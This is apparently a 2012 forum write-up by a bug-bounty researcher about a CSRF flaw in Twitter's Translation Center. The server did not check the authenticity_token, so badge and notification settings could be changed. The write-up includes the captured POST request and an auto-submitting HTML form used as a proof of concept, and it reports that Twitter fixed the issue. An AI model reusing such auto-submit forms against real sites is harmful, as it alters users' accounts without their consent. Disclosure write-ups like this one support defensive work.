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Twitter Translation Center CSRF (Change Badge and Notification Settings)

Rating: 3 votes, 4.67 average.
On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on which is the Twitter Translation Center.

While checking the service I landed up on the "Accounts Settings" page which looked like this.

Name:  settings.jpg
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Size:  30.0 KB

So we've two options here, first one toggles the Twitter Badge setting on and second one toggles the badge related notification.

POST request which disables both the settings looks like this:

POST /user/update HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Cookie: <cookies>
Content-Type: application/x-www-form-urlencoded
Content-Length: 175

authenticity_token=B6PJGp2Hkm1zi6lVN%2FIueNd7QqlAh IfM5C1pht1MzE8%3D&
user%5Bid%5D=809244&user%5Bbadging_exempted%5D=0&u ser%5Breceive_badge_email%5D=0

Now in the POST content, parameters of our interest are authenticity_token which is the CSRF prevention token generated by Twitter, user[badging_exempted] and user[receive_badge_email] toggles the badge related settings, user[id] is the user id of user, in my case it was 809244 and is static.

So, normally to prevent CSRF on this page authenticity_token needs to be verified on server-side, right ? but this wasn't the situation when I checked it. The server allowed the form to be submitted without even checking the authenticity_token , which rendered it useless.So we had a CSRF here.

The final Proof-of-Concept code I sent to Twitter Security Team to demonstrate CSRF existence looked like this:

<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post" action="">
<input type='hidden' name='user[badging_exempted]' value='0'></input>
<input type='hidden' name='user[id]=user[id]' value='809244'></input>
<input type='hidden' name='user[receive_badge_email]' value='0'></input>

_jim of Twitter Security Team replied within 1 hour of my initial bug report which said the team is investigating the issue.On 16th October the issue was addressed and then onwards the authenticity_token gets checked on the server-side. Any modification to the token results in an error page which looks like this:

Name:  error.jpg
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I'm very thankful to Twitter Team for putting my name along with other white-hats on "Security at Twitter" Page.

Conclusively I would thank _jim who kept me in sync while the issue was investigated and addressed.

Cheers to all Garage Members

Updated 10-20-2012 at 11:20 AM by prakhar




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